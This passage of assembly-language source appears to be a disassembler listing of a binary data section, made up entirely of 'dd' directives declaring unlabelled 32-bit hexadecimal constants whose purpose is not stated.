		dd 71A3690h, 0F63A7200h, 63054CBh, 667E0C82h, 0A53AA24Bh
		dd 7D773400h, 0F26D67F3h, 0F22A7D72h, 47DE3DEAh, 0F4A808BFh
		dd 98FE00E4h, 9CCF81C1h, 12E828CEh, 847AC90Ah, 630610D5h
		dd 339EEB9h, 20875F89h,	1CA04928h, 0FF7C24FBh, 10512F37h
		dd 3AE8EB00h, 0C407846h, 0F0B7A2ABh, 0EF009B48h, 16D92813h
		dd 603BE2AAh, 492B61E7h, 0FB00B168h, 85C66D78h,	549231h
		dd 0C1A5387h, 3F8E71CAh, 1426607h, 94EA05C2h, 30B0F78Ah
		dd 2AE83F17h, 0A6A58300h, 37399B9Fh, 6572840Fh,	0B6B4A026h
		dd 0FA425644h, 0E3F200ECh, 46CCC04Ah, 0A91CC3C2h, 1DC02DC1h
		dd 8073155Ch, 740800AFh, 0D265D2Fh, 0A30053A1h,	461756EAh
		dd 0C42DCEh, 0EFD549DCh, 208C23D3h, 0A24EB100h,	71B742A7h
		dd 5C1300A5h, 0C98B1B7Fh, 2200B8F7h, 4E38B02Ch,	0C7FC78h
		dd 7BBF1C66h, 46AF9F15h, 44DEB0A0h, 0A0FE8BF6h,	4BDC4D00h
		dd 94A33E2Bh, 14060B92h, 9A872DA9h, 0C445A09Dh,	6400AEE3h
		dd 2898BB72h, 0C93B69h,	70795124h, 1D522EEFh, 0FE3C1402h
		dd 8109BD78h, 0C97FE4B8h, 9BD82131h, 157D009Eh,	0C18A4EF2h
		dd 0AF6037A2h, 500A7029h, 71AE00C8h, 84824851h,	0CA54C1C5h
		dd 0F53A3EDCh, 0EAE080ADh, 0D7F09AF3h, 0E3B80E73h, 5F613574h
		dd 242D448Ch, 43003324h, 81837776h, 3BEA526Fh, 5C02F525h
		dd 0B3C8CDFAh, 1D28E4A1h, 47A3D47Fh, 0BD5A000h,	0A18E5749h
		dd 7B800176h, 64D3949Ah, 0FE984230h, 8310FE40h,	0A3F48C00h
		dd 84AB605Dh, 1F0B06F2h, 81A673E5h, 9DB9980Eh, 906898D4h
		dd 11790C0Bh, 5121C46Bh, 505CE000h, 4538D7F7h, 81AA16F0h
		dd 4AEC0093h, 2098217h,	4184FF00h, 36834BD5h, 7B1B0098h
		dd 9B923C7Dh, 28003530h, 6F8A5F09h, 0BF6474Eh, 0B4ED5C3Fh
		dd 0D05705C0h, 5A1A2300h, 4301107h, 0F8787AD1h,	840A1DD5h
		dd 44F98748h, 4016805Bh, 0FA3B89D8h, 3D100F6h, 60320CDBh
		dd 0C07F5B3Bh, 3923BB6Ah, 0D0849103h, 80EE2C5Ah, 1D7D2DA4h
		dd 12254E6Ch, 958300EBh, 0BAF6579Bh, 0D9AB3D00h, 254B283Ah
		dd 284552A5h, 4FC686A0h, 0F1470984h, 0DD00DCCEh, 0CF669C6Ah
		dd 450A5506h, 0DE784195h, 0C54906C0h, 6900B8DFh, 9EC8EE88h
		dd 280CA041h, 1740E58h,	602E89AFh, 0E0EE83FAh, 8CC9827h
		dd 8494Ch, 3546E99Ah, 0CA2DAECh, 2A03DB7Ch, 500BA34Eh
		dd 92E3C002h, 6699000Ah, 0C60F1B6Ch, 0D8037025h, 321D4197h
		dd 0A5A6C880h, 0E1F20137h, 44A1CB9Eh, 9A2A83B0h, 0D081B8E5h
		dd 7975B4E2h, 0A8D00407h, 0C0D63951h, 0DAF28713h, 2B024D00h
		dd 2D96771Eh, 25E7000Ah, 84B51AD6h, 580072CDh, 0A7223F60h
		dd 65A8B5Dh, 0B8B92573h, 4307486Bh, 0B00ACFB6h,	9D8B2660h
		dd 80567CEh, 1620FC8Dh,	0E19F9A12h, 0BC48B201h,	0B8D0CDD4h
		dd 0BF393004h, 59E82090h, 1A1D600h, 0F7CDDA80h,	7DB4361Eh
		dd 437BB170h, 0E03A33F0h, 0ADEF8ADCh, 69061C9Dh, 0F8581083h
		dd 0A0F4FC8Dh, 42FCA254h, 51B24068h, 12ADC10Ah,	0AFC0549Ch
		dd 160AE7h, 3C03715h, 7AABE923h, 0D12E071Dh, 0AFF44300h
		dd 2D624Bh, 0B0634482h,	0FB7CA97Bh, 33031DF8h, 0F6E36C65h
		dd 0B57EF856h, 819D0ECCh, 1A00A204h, 62C17AFEh,	5DBA700h
		dd 96E64811h, 1B85004Dh, 0C97D6917h, 0BF004B4Eh, 83A55F19h
		dd 5A0FEFh, 396216B8h, 0F68D4F69h, 26120C00h, 0F5526402h
		dd 0C57A03BDh, 851F04E1h, 0ECF48BE9h, 9A008121h, 7B10D64Ah
		dd 395CDCh, 947349ACh, 372D5DF3h, 4243DB1Fh, 4FD2807Dh
		dd 66C8A670h, 89E600B8h, 2CBDFA10h, 0ED00CE3Eh,	4E914DACh
		dd 14123Dh, 45A01DDCh, 78A2025Ch, 0B900467Ch, 0AE40A62Ch
		dd 0B1FE98h, 207742C9h,	9AB9EEFh, 2C51E03h, 0B0FBAE43h
		dd 5B4DA5Ah, 426FE3CEh,	3CBF80C0h, 5D906428h, 0A980F607h
		dd 7D405C84h, 53020B2h,	16A00868h, 9861C635h, 11F1F801h
		dd 8978ED7Fh, 138B7E0h,	1A282936h, 83AF13CCh, 0F8EC2F71h
		dd 64B00F39h, 0A201D24h, 0E3D14F0Ch, 9DDAD800h,	5984E54Ah
		dd 14DB00CFh, 2BA81655h, 0B93D8233h, 51890145h,	5803D48Bh
		dd 0FE90F740h, 2703D37h, 40837980h, 0D0EBFD27h,	0A059BA00h
		dd 3F9DD6BCh, 0B27C0042h, 11D78F7Dh, 1C12ADCBh,	0A1AC5C43h
		dd 58598000h, 0D74167Eh, 65A9E400h, 1B5DDB69h, 886B01AEh
		dd 5CD743CFh, 67F02E48h, 2B7516B9h, 83E5012Eh, 8C2D7082h
		dd 30BBF308h, 16BE0030h, 4A04BC87h, 0BD60C21Dh,	83C1C818h
		dd 85DF003Dh, 1419C322h, 8A1FF80Bh, 6D00D203h, 52FD2E7Ch
		dd 88423084h, 40A74998h
		dd 19F2A41Eh, 0DE8FFB00h, 300A9EF3h, 0E870F004h, 1F00F4FEh
		dd 91C498B9h, 0E8C31C74h, 20F6608Fh, 0F4F19AC1h, 3E4CE41Dh
		dd 0DC931D00h, 735E43h,	0BD014BFCh, 6BF7680Eh, 7857EA31h
		dd 0C9DBA0B8h, 0A3E0FF09h, 0E4340667h, 206541AFh, 0EE752900h
		dd 0E37BB8BAh, 0C3AE01CFh, 3A5E34C4h, 0FB88F58h, 73D06578h
		dd 0B8BA5083h, 86929Ah,	10C44D5h, 0DAC6390Eh, 31183A00h
		dd 3C4181B9h, 8AF23FB7h, 0F8809238h, 0AF53500Fh, 8200DA62h
		dd 5FA5D69Fh, 477E4Eh, 5C184B2Ah, 0C78F2E71h, 8566500h
		dd 9922EF25h, 7B9B3D26h, 947D0600h, 13E8B01Dh, 24B8C600h
		dd 0E94FA090h, 0C7F5001Fh, 84AE2258h, 9E0063FCh, 7855828Eh
		dd 3CCF3E9Fh, 0FB00C5B1h, 163906DBh, 0FE00F44Fh, 0E4332ADEh
		dd 7C9A6831h, 0EF9C0029h, 811E4CC1h, 0FA1E882Dh, 0D003FF17h
		dd 0E8A0896Fh, 17D3CB53h, 0C9CCE78h, 3B201BE7h,	0B57BEF00h
		dd 31E52459h, 26420CB0h, 4941D416h, 40DAF81Dh, 0F9681FD8h
		dd 7AFE98h, 789AFAD3h, 0B7058663h, 0A2843A0Ch, 3211817h
		dd 0AEE58D08h, 80EC52BAh, 0D705AB4Fh, 0F46B1E00h, 0ECC0865Bh
		dd 0BA870781h, 0CF479812h, 0AEC69500h, 0C900AC03h, 0D7484DB6h
		dd 0EB676Fh, 49145BBFh,	39FBA362h, 8597EE00h, 46CAED8h
		dd 78E21F61h, 82C28090h, 8743AFBCh, 0F8768630h,	1C55F4h
		dd 453C8881h, 94704A92h, 0A402D100h, 772D5279h,	1FEA03F6h
		dd 88590A50h, 196E9D0h,	0BF24C03Bh, 329B009Eh, 77E10940h
		dd 22A700C9h, 3073F7ACh, 41004612h, 0AFAAE7ADh,	0E46614h
		dd 0B3920AFDh, 4B515F9Ah, 28A530C3h, 0D3380FA8h, 0F9615E5Ch
		dd 20074D0Fh, 76003528h, 0DC12D8E9h, 58D2DFh, 0C29915BAh
		dd 0CCA43156h, 0ADB2E00h, 0F529DC97h, 44623FD1h, 0BD763801h
		dd 0F0AEF739h, 0C407F4CDh, 4B95FB4Eh, 79698B3h,	0A8879331h
		dd 0A67603Bh, 0B3001480h, 0CFC8B96Dh, 3AA5C42Ah, 0A160C05Bh
		dd 0BB0CEFD6h, 0F05FF900h, 0E2D4A74Ah, 3F2AC044h, 0D88AE72Dh
		dd 0F88F2B00h, 4F41D548h, 0AB360028h, 52F498C6h, 38DFFDB5h
		dd 0A480AC5Eh, 33F585E7h, 0E65018FEh, 587F69B6h, 0D1D76703h
		dd 8B80E75Eh, 388EE4h, 0B173D922h, 0EA32C398h, 18F31D30h
		dd 0DCAF3Ah, 8A02D893h,	6FA0BA2Eh, 7F4DFD01h, 0F373CFBCh
		dd 3F9E68C4h, 0B700240Ch, 0E2C08BA1h, 0EA031EB2h, 0F66D3241h
		dd 581780F4h, 82BB0019h, 0F3BD454Ch, 180040F9h,	0C44FF867h
		dd 3FFD577h, 0B9AA61BAh, 0DAA363E3h, 0B3651FC0h, 0D225C10Fh
		dd 0D2F077Ah, 389D8EAFh, 75D1C20h, 257CC0B3h, 0AC1D9018h
		dd 0B0BD674h, 0DFE3A5h,	703E5842h, 0F030CFCDh, 89EF6383h
		dd 0D39F8101h, 9D7FBB16h, 77A01047h, 3A68F9F5h,	0A0E02B87h
		dd 165B1C81h, 10CD4A00h, 77A00B94h, 9898E82Ch, 9A41C0FFh
		dd 0D1216F2Ah, 39F4E9F2h, 18EA3F3Fh, 0F9209C1Fh, 0B37E000Ch
		dd 0CE1E9AFDh, 6038361Bh, 9FDF05F0h, 8001C44Eh,	5629A76Bh
		dd 0D2929857h, 0B35A40C7h, 6EB50079h, 43926D52h, 9900A46Ah
		dd 0C51B65D1h, 5FB456h,	0E50A369Fh, 0D546C43Dh,	0F090827Ah
		dd 0F866EE01h, 7C7D2873h, 5C39C887h, 7617A08Eh,	0E20FE170h
		dd 0F9DF0Dh, 1A363AFCh,	32500FAh, 8E8267DAh, 5300E70Eh
		dd 3A931315h, 0FC1E52h,	0B0C25F89h, 0F7AF1764h,	40D7980Eh
		dd 0F4CA00FDh, 7B656735h, 3A75B4h, 51C5E155h, 17D527F0h
		dd 4F40C00Fh, 8F8BC07Dh, 0CC6ABCh, 0DEBBB4CFh, 26092E1h
		dd 0B9CBE200h, 9E5DA30Ch, 49BE18D3h, 5ACA90D9h,	9F632B1Fh
		dd 0AF4A1A04h, 0CFFF47F0h, 2EA089C0h, 7B5AE6Ch,	0DFB40F18h
		dd 0FA306818h, 8BAA0673h, 0F0DC6EA2h, 1A765907h, 8B5B577Ch
		dd 0F8EE004Ch, 2D93BACh, 41FA3AAh, 2C8116ABh, 1B7A548h
		dd 1B08E6C8h, 8AC75902h, 10C202A2h, 8B40CFA6h, 889E7E36h
		dd 9A026631h, 87DF041Ah, 4C7420FDh, 0D08D8B7h, 80260FFCh
		dd 0DCC546C3h, 98D806A1h, 7CF98E59h, 32371FFEh,	7D102261h
		dd 5314AE65h, 1800587Ch, 0DD948CAh, 3084E7F0h, 5A59575Bh
		dd 0CA88E3E4h, 58F704F5h, 2002CED8h, 81928261h,	5FB18387h
		dd 0CAAA70h, 935BFC38h,	3E2BD6Fh, 0C5723C00h, 0C012E889h
		dd 888E1463h, 1700DCDFh, 2E75A70h, 5100DCF0h, 42D3924Ah
		dd 0FEE441B2h, 8113060Dh, 71B91BACh, 67CE3A00h,	0F6DA7406h
		dd 42882417h, 201B1A0Eh, 0C7E95943h, 0DADF4F1h,	7700C8F6h
		dd 5883D878h, 405C5Eh, 4B62F967h, 3CFC2B65h, 0DC34C700h
		dd 0EC278941h, 0A5D70057h, 81D1C6EAh, 3C0C1FAEh, 3160A058h
		dd 0F11C6191h, 0D4DB6B93h, 0C0773D57h, 63F0FA03h, 0F38CBFA8h
		dd 0C20E9F1Fh, 80286741h, 1EE1F8BCh, 0FD542402h, 0EC5F1F28h
		dd 50861872h, 0E30FEF0Fh, 0E0028A90h, 0A5E08884h, 8D82007Ah
		dd 0D40F09F4h, 189083FBh, 0CB491712h, 8D893445h, 69C400FEh
		dd 0D0073632h, 386EA1C0h, 0B8025127h, 0CEF2009Ch, 7F310173h
		dd 720548E0h, 58E15FF0h, 0B1C2B400h, 74B2DDh, 64A0EA73h
		dd 0FCCEE560h, 7963C400h, 0BC65DAEDh, 21C7106h,	0CF9C26C0h
		dd 84003C1h, 0E00E45Fh,	0AB478BECh, 42132Eh, 0E93953A8h
		dd 30A50A59h, 0CB2B3E00h, 97E81404h, 92DC790Ch,	4BF80048h
		dd 0D86A9057h, 2E3DD2C0h, 72068FE0h, 238520B6h,	70CF307Eh
		dd 1BFB0361h, 0E8259373h, 89C800DDh, 0B5A12A8Bh, 0EAF56000h
		dd 424AC16Bh, 0C0CA0008h, 1ECE7220h, 0DE00BC8Eh, 0CB127FB6h
		dd 7CEC1C6Ch, 0F0F51D3Ah, 90CF0051h, 84C5E85Eh,	48AC345Fh
		dd 1977960Eh, 3BF38EA3h, 7F17C2C8h, 0E5104E00h,	63714001h
		dd 5CA3E6Eh, 0CED610E1h, 3A288F5Fh, 52C10073h, 1FC37642h
		dd 8153C90Dh, 646B304Ch, 0A5DCE81Ah, 3B990500h,	594873B0h
		dd 9018039Bh, 85A69AF7h, 0FCF9B4C1h, 6E005BCAh,	35846A46h
		dd 0BAEDF4h, 0ECE80604h, 795824Eh, 14C4D900h, 138CF5B0h
		dd 9CF4002Eh, 3AB67925h, 31009D72h, 521B2B45h, 39EA5AB1h
		dd 0C1384655h, 49EDF280h, 514D7C67h, 80B16E3Eh,	9711080h
		dd 1F0B873Ah, 0E10F2Bh,	7FAEF9C4h, 1577B06Ah, 0ADB3F400h
		dd 5EA804E9h, 19CD9029h, 0F85A91FEh, 0F61880BCh, 0FB8A131Bh
		dd 601490BBh, 0F97180A7h, 89043BAh, 0AFEC3300h,	0E2599C45h
		dd 570A0388h, 7A5F32DFh, 0F3BA70F8h, 10F29E03h,	0D14E13A4h
		dd 38E00626h, 1FDF01A0h, 0E5B1BBB3h, 4703C4EDh,	0CC98FA01h
		dd 82790FB2h, 8DB7D4h, 0A1CF6376h, 2011E037h, 2623B42Ch
		dd 8E83C400h, 43046Ch, 0F56FDFD3h, 0E7E10564h, 61CA7700h
		dd 6C0EFEC1h, 82E500BAh, 3F70C4EFh, 0D20F8913h,	8273E864h
		dd 0C0B4039Fh, 3114C9h,	0AAAB9981h, 0BA0C93B5h,	92D1A05h
		dd 0B0C030F1h, 0E29698h, 0C4A4FDAEh, 0DB8E7271h, 8D0437B8h
		dd 5C2CCEFh, 0EDB68EC0h, 626D075Eh, 0C0E80835h,	321E7D76h
		dd 0A53D4E00h, 8F1B8223h, 99950EC6h, 0A4DCB363h, 5547000Eh
		dd 31306209h, 407D5400h, 1538135Eh, 0D01F0341h,	0E8795201h
		dd 0C9F628FEh, 885B7C88h, 0D140FC75h, 2EC24435h, 22369420h
		dd 0B53159A8h, 0C17151C9h, 12371E11h, 0F6148124h, 8D01D384h
		dd 0A6C10D0h, 507DEA9Dh, 61E53C70h, 670951A3h, 41201CCh
		dd 50AC299Ch, 473C11DBh, 50610511h, 0C70CBFAAh,	515F987Dh
		dd 0C157202Fh, 0D38811E6h, 28BC6390h, 50009214h, 8B4C3F01h
		dd 1B4B33h, 7261AF51h, 0E9485E1Fh, 600D8F00h, 192F536Bh
		dd 46DF00F1h, 0CCD6B7FCh
		dd 5E00CB79h, 4F8556A9h, 0F16B04Eh, 81983C9h, 404DC867h
		dd 217BD547h, 0D1A20905h, 36C0F36Bh, 9B45BD0h, 0FBC95259h
		dd 69FF5480h, 0B30FDDDFh, 8039C087h, 0FE040A1Eh, 24F600B2h
		dd 2C08466Ch, 95EC346Bh, 0E035C524h, 0C1005217h, 5E7F8D07h
		dd 2D051C8Ch, 62CF411Fh, 0CC26819Dh, 47001DC0h,	0CB3448ACh
		dd 1F06F4Ch, 14DED8BDh,	0E01BF1E6h, 55004117h, 0C8B66862h
		dd 8CC17Bh, 4709ECABh, 3C9A162Ch, 6233B21Fh, 260868C0h
		dd 12EEC1h, 4796F0D0h, 0EA1B87CDh, 0A883E502h, 0A05BB750h
		dd 0B49F49Ch, 21B20096h, 126595C1h, 293C4D59h, 0BE5F8015h
		dd 0F598272Ah, 7880152h, 701A6697h, 0C879CCC1h,	16D56C00h
		dd 0DF6D9937h, 406700A9h, 9A38482Ch, 0C33B25ACh, 11EC00FEh
		dd 30396BCDh, 0E3B3001Ah, 0B5F6FFD9h, 0B7005D57h, 2B4A9F42h
		dd 389E4DA5h, 710F3226h, 3B406704h, 9FF5F0A8h, 0D8AB7702h
		dd 8079E419h, 0DB16F90h, 0B6F40042h, 0A40B1E48h, 0FD005759h
		dd 0C6B985ABh, 3C4E7DE9h, 0FB1D6816h, 0F2324060h, 0FA24B555h
		dd 29E2600h, 0A1D6088Eh, 3B75001Ah, 0C5351F62h,	17E0E31Bh
		dd 0F30009B0h, 15631201h, 3AE9688Ch, 9D031C65h,	526492DEh
		dd 0C8A7B1A8h, 0D0550D01h, 0A289EAF7h, 0BF50C8h, 75787B95h
		dd 41FF0E4Dh, 352A3B12h, 44E62C07h, 2013D2A0h, 639400B5h
		dd 45F65F02h, 8100DFB4h, 0C4D3E85Dh, 75482Fh, 18F89342h
		dd 16B8B68Ah, 81200890h, 87E20064h, 89BB50BAh, 0E90F78B3h
		dd 0C783ECF4h, 0C7B0FDFEh, 397FD5h, 850EAE3Eh, 0C57492D1h
		dd 0FF242F79h, 710B8768h, 4560043h, 0E4CDDh, 0BCD9481Ah
		dd 0FC341884h, 0E717FB00h, 4A1354AEh, 16C00089h, 66F33AF5h
		dd 8F3C2AA3h, 96911FDDh, 0D072A09Bh, 7795Bh, 1BECE2E6h
		dd 0DD7A901Fh, 0B97B8700h, 8DA0EEE3h, 41CE014Ch, 0DC27720Ch
		dd 2257DCA9h, 17DE6507h, 8D25F960h, 3CC6D280h, 3977CD9h
		dd 0F39C9289h, 4FC81605h, 51070420h, 6A393A08h,	38D1D000h
		dd 53931DEBh, 0ADCCC54Dh, 7CAB8083h, 0EE001A35h, 0B0096E50h
		dd 483CE502h, 0A6003A1Ch, 7AC15DADh, 2B009A36h,	6D04B8F4h
		dd 6BEDC3h, 0F7DAE706h,	609B93D3h, 67E55D00h, 10AC72FAh
		dd 31180AB9h, 7A5941Dh,	0D384DFF9h, 4CB0F7E4h, 0DC01B59Ah
		dd 0DA02F66h, 0A8E761D3h, 127BE060h, 4B44302h, 80B914C8h
		dd 0DA655E95h, 3933DB00h, 0C6D59BE4h, 7CBA008Eh, 0D7759D63h
		dd 0F7005A11h, 0CFB74730h, 5AB9BE9h, 0C6172D5Fh, 11B4000Eh
		dd 917B3189h, 0E5D6D000h, 0A3FAF88Fh, 21E90F15h, 0E4207669h
		dd 5D5229BCh, 534D9A00h, 0C6A1ED32h, 0BB7EBEh, 0E27AAD1Eh
		dd 9699A4DFh, 0A4C32A3Dh, 25005B5Eh, 0E93E5B09h, 227D00B8h
		dd 0D5F6ABC7h, 4B006E8Bh, 463F5112h, 0F7502A4h,	9163AE90h
		dd 2B6B5F80h, 0CA781BBEh, 1462DF01h, 9F07445Bh,	75E070h
		dd 3A0D3873h, 3E014D50h, 0E2295601h, 7EDC60A2h,	23C012F1h
		dd 0C1FEA8h, 212285FDh,	0F6D28A91h, 9FF3DD00h, 0EA3D92EBh
		dd 632D00A3h, 9A400D37h, 0AC0052E1h, 0C4ED64E8h, 2769BCh
		dd 41674E0Eh, 8B1D5B1Bh, 0EE977C07h, 0F82039DCh, 98933F28h
		dd 98DB00B4h, 3EFA851Dh, 0F60157E7h, 5861F536h,	93F48294h
		dd 85FC3C3Ah, 0A5C9FB01h, 0EBC16CE1h, 1DFDE390h, 7464960Fh
		dd 50CD209Ah, 7B6615B6h, 576D9h, 23D629A8h, 385198Fh, 0E5635E2Eh
		dd 20044C00h, 98783EB3h, 3C2E0FAh, 63D76839h, 0C1F80B56h
		dd 0B300C3E2h, 43951628h, 0BD9EFFh, 0B152CB7Bh,	7D53909Fh
		dd 0E0B98D00h, 41D298B4h, 6F3B037Eh, 7710D070h,	0F4A17CC8h
		dd 5B1E000h, 81B6A226h,	6ACF00A0h, 0D282725Eh, 1600AF06h
		dd 7A3D86B0h, 363F80Fh,	89D3DCC1h, 4CB8691Bh, 5A06B07Bh
		dd 2E22C672h, 0DC650350h, 0EA8D246Dh, 571601B0h, 2B91D10Fh
		dd 0A8376097h, 0E28062Dh, 92D67049h, 0FAD97960h, 5D3E3A7Bh
		dd 367E804Eh, 349F218Bh, 33FE00F2h, 32565F15h, 9A00F5E4h
		dd 249603C8h, 1279DDA8h, 9A557h, 0CC68C555h, 4C00C72Ah
		dd 954A35A4h, 0B95C25h,	0AF225553h, 171849EEh, 77EAB058h
		dd 7E608313h, 3307A800h, 38FB706h, 1FA9EA12h, 22C0DE6Ch
		dd 0C200E547h, 0E06487D9h, 102416Bh, 5FAF74B6h,	0D87B1E31h
		dd 0D7012BEEh, 8167784Bh, 57F07C94h, 6E5500E1h,	8823A165h
		dd 7800C4F4h, 0F99ACFB1h, 0E359054h, 0C31FEF36h, 0EEE6B060h
		dd 0DC029E3Ch, 3998406Ah, 56BC00Ah, 386C4D2Bh, 0BF552A00h
		dd 0C8AB42D7h, 0D796D00h, 0ED6EA9B4h, 0EEB000F0h, 275E95E1h
		dd 9C0171A4h, 264D2184h, 14D411F3h, 0E07B03DBh,	0CE1A6D0Eh
		dd 94921ED8h, 5C588726h, 0ECF6EE00h, 74DD6CBEh,	3BFA3C39h
		dd 1095AAh, 0C2176118h,	26D2D05Bh, 37431500h, 0D467CC28h
		dd 407F89h, 0BF5E09CDh,	0F1466F84h, 0F27E2101h,	0E1CB5516h
		dd 9487A9F3h, 57E447F1h, 91FC74h, 17C6C2A0h, 5C98885Bh
		dd 50BC1B00h, 7A1ACE0Eh, 0A4040E91h, 0C840058Eh, 0D8EBB131h
		dd 0CDF59E00h, 0D942B0E9h, 4491008Dh, 61AF4D9Fh, 0AE780815h
		dd 80A4134Dh, 0CE598CECh, 58CA0716h, 30438296h,	57C1402Ch
		dd 0D00FB72Ch, 0B35ABD01h, 80C821FEh, 0CEA000D1h, 2D598AFDh
		dd 7C0104AEh, 2129DB4Ah, 0F2D8B8D8h, 0E8BA30D4h, 56EEC5FAh
		dd 2957D100h, 5164FF7Bh, 82440309h, 1025DAD7h, 8C6CECF0h
		dd 5DC8AE00h, 0A171EDADh, 0C9FA0153h, 0BA09C1F3h, 0D45C215Ch
		dd 0F23FD472h, 0E61780E8h, 447A997Bh, 0FD2BECFAh, 1ADDF0h
		dd 0EF1E2916h, 0DF0E8FA9h, 5189460Eh, 9F938026h, 0A56E52h
		dd 0B46BE61Dh, 76ABC39Dh, 2914DA00h, 59AEE272h,	1B030061h
		dd 0FF33A7E1h, 0C7004D82h, 0E4AFEC5Eh, 0A58901h, 0A8B27636h
		dd 0E0DCB19Bh, 4406649h, 5AEE0EADh, 0DB0BA0A2h,	0E000DC8Dh
		dd 536AD7E3h, 55EA510Eh, 6F4215Eh, 18301DDAh, 0DEBD1645h
		dd 427C00ABh, 0B17F76A7h, 25ED1307h, 49E5B221h,	1B33A87h
		dd 3980EF68h, 34F351Ch,	0F3C719F1h, 209F4A51h, 0E6AAFA37h
		dd 22EEB700h, 965449D5h, 7BB9FCF2h, 7B20028h, 4F0BBB1h
		dd 1A4F1D9Dh, 3EE36900h, 5FC24Bh, 6A97FE13h, 99F473C5h
		dd 2F4D0F00h, 27554EDAh, 8620E15Fh, 6B1AC076h, 0B15C8E52h
		dd 0E623200h, 3E2A9EB2h, 6E090181h, 0BC8CE629h,	0FC87E4E8h
		dd 4F765000h, 8F797745h, 73BB00F9h, 15631783h, 0EE09E7D8h
		dd 10327824h, 0E4C66950h, 3EAA006Ah, 0E877D6B7h, 40F1D1C7h
		dd 0CE744494h, 3045A000h, 2E1D87DFh, 5A90125h, 1FF2F95Fh
		dd 0EFA2DCE2h, 0F812102h, 8E51491Ch, 5464E0BCh,	585546h
		dd 0CBBE22A7h, 0C28A9B61h, 1FEEA200h, 9DEDE35Ah, 0C9F2002Ah
		dd 7854F7FDh, 55072686h, 0AD53C767h, 7B287E60h,	0FBCB00E4h
		dd 32C050E2h, 0C35C02A8h, 42DD00FCh, 0FAFD2F26h, 3FC6EC35h
		dd 6A877FF1h, 0D054A41Fh, 0E11C0F0h, 0DB774900h, 5DBEA812h
		dd 5A043BEAh, 0AD024600h, 3862538Ch, 0F3ED8B00h, 412945EBh
		dd 6D0502C1h, 0B3F48063h, 64109D80h, 9A006846h,	56DBEA45h
		dd 1B9F1Ah, 2452067Ch, 8D7BE5A1h, 87514300h, 9F4E89F7h
		dd 57650082h, 0E6E8DA99h, 393FE477h, 0C40E80D4h, 34DF5389h
		dd 9B990001h, 27F56FC6h, 0D800DEAEh, 0CA601CAAh, 1A5B678h
		dd 0E8CB0B28h, 0DC447712h, 3E3BE5B8h, 0B98B8F95h, 576740ADh
		dd 981943BBh, 17100083h, 0C15A2A05h, 20261B48h,	0F900D865h
		dd 184EA2C8h
		dd 8E4B2453h, 0A0348F88h, 518A93C3h, 67921CB0h,	0EEA10B0Ah
		dd 3201D8A4h, 0E576AAE8h, 577C030h, 1B54EACFh, 3A51C0C8h
		dd 870EF3D1h, 4F3D1ACCh, 19D00735h, 59BB5F00h, 0C3800072h
		dd 0F0BC9BC7h, 0DF00C80Fh, 8EB51ADBh, 0F15CDEh,	6409E399h
		dd 0BA774E17h, 8900FE5Fh, 3E0E211Ch, 3B2D1389h,	0CA0A0023h
		dd 1790B552h, 1AA5B913h, 16DC2400h, 7B63A4CDh, 67EE0312h
		dd 0A1ABC213h, 11CC40CFh, 36010DC0h, 24CE347Ch,	6DE4C9BEh
		dd 86530009h, 4E2931FEh, 0DD09C8BAh, 0A0736470h, 53773830h
		dd 580B0344h, 8CF450C6h, 3E60F090h, 0E5226CB8h,	4A3B0012h
		dd 0B4B8B51Eh, 96000DA6h, 0E6DFD1F4h, 73BE59h, 84AA4B1Dh
		dd 0B1A33851h, 0DBF8F61Eh, 0B8EE18C0h, 0CD03FFh, 81FA4C69h
		dd 857F248h, 64A1CB24h,	2ACF8700h, 2D9750Ah, 1ECC53A2h
		dd 0BA60AFEBh, 4EE20985h, 5F82A500h, 4CC5C087h,	0F73FE0Bh
		dd 0ECEE7B15h, 7F0F13E1h, 0C208758h, 39A751B4h,	306CB560h
		dd 149B485Ch, 9E5E00Bh,	5604820h, 1D00BB50h, 1F2DE10Ah
		dd 0E2FEA1EBh, 0C97A0362h, 5E713760h, 0BAF168A8h, 7EDDB505h
		dd 0C10387B0h, 0B5A82DB7h, 6ECB9880h, 6FE20008h, 0A3468691h
		dd 84B663AFh, 0E710BF00h, 16AB603h, 35791A34h, 0C777DA23h
		dd 0A0C39EE0h, 0DDDFC007h, 3CD063C9h, 0A7F5A4h,	756A43BDh
		dd 0BCC446F7h, 51059501h, 2732E676h, 59AB60h, 618EE073h
		dd 99F0FFD7h, 73C548h, 188375A9h, 8FE2BBh, 906087AAh, 38F72ED2h
		dd 54334A00h, 7131AFCBh, 0C3630F8Ah, 0C96FFCD3h, 0D4C13BC0h
		dd 20383CB9h, 5513014Fh, 2B1A27DEh, 0B24440C2h,	7FBB002Ah
		dd 0C90D9357h, 9600AB40h, 5C5868Dh, 1029AA9h, 0EFD56E50h
		dd 3D069B36h, 2BE40088h, 503B0986h, 0DAA44864h,	0CFB25100h
		dd 973A41ECh, 2EE8ED00h, 0CDD9387Ah, 5B06383Ch,	64A7F081h
		dd 70AE6644h, 293F7D98h, 4024EEFh, 0E0F54AF6h, 4A37318h
		dd 7CD8AB7Fh, 7E9480AAh, 2B1E25A4h, 0C8006722h,	8FF5B4C7h
		dd 0EE80A80h, 91077Bh, 3069A561h, 4C007716h, 7395BE91h
		dd 0BEC3Bh, 475EE843h, 0E4DDD0F2h, 67AEFF00h, 1C978CBh
		dd 1434005Fh, 0F770467Fh, 2500970Ch, 0EDAF8CBFh, 0ADE6FEh
		dd 0D9C28E87h, 76686B53h, 120F384Ch, 5C409250h,	0F88B324Ah
		dd 2D080079h, 2E01D5DEh, 0C09B2A3h, 806E54DDh, 0DB691211h
		dd 0A6C900F3h, 5A6CB646h, 6D00BB0Bh, 23EDD68Dh,	298BB7h
		dd 0E120E59Fh, 25210342h, 0D6E74D01h, 856E4E1Eh, 1904B822h
		dd 80775CBEh, 2C931D4Eh, 0E9FD416h, 83D3A000h, 60A00D76h
		dd 0B1E91003h, 9003899h, 0F1595BC7h, 8E44B8h, 0E1C97971h
		dd 41AA40B4h, 5547FF01h, 0AF4DA1DBh, 403411EDh,	0A6B50218h
		dd 0BD16E912h, 537EFA83h, 0B2E08CEBh, 0B401CF6Eh, 8A5CEA3h
		dd 0E48061DBh, 276D7613h, 2D90E4B0h, 1C00C890h,	0DBDA60DCh
		dd 7F20C3h, 1039319Ah, 690C3B71h, 76BBBC00h, 0BF3F546Bh
		dd 2B70038h, 0E2D51E0Bh, 0E700F286h, 0A35978CDh, 11D036h
		dd 9F3CE1Fh, 823A8B16h,	404C9D00h, 3EB151AEh, 327A0072h
		dd 784FA09Eh, 0CD051A36h, 4CB2A7B0h, 0CC80E01Fh, 7CDBA6A3h
		dd 0B34F0011h, 658DAECFh, 5000D685h, 0C38C169Bh, 0A3CAB6h
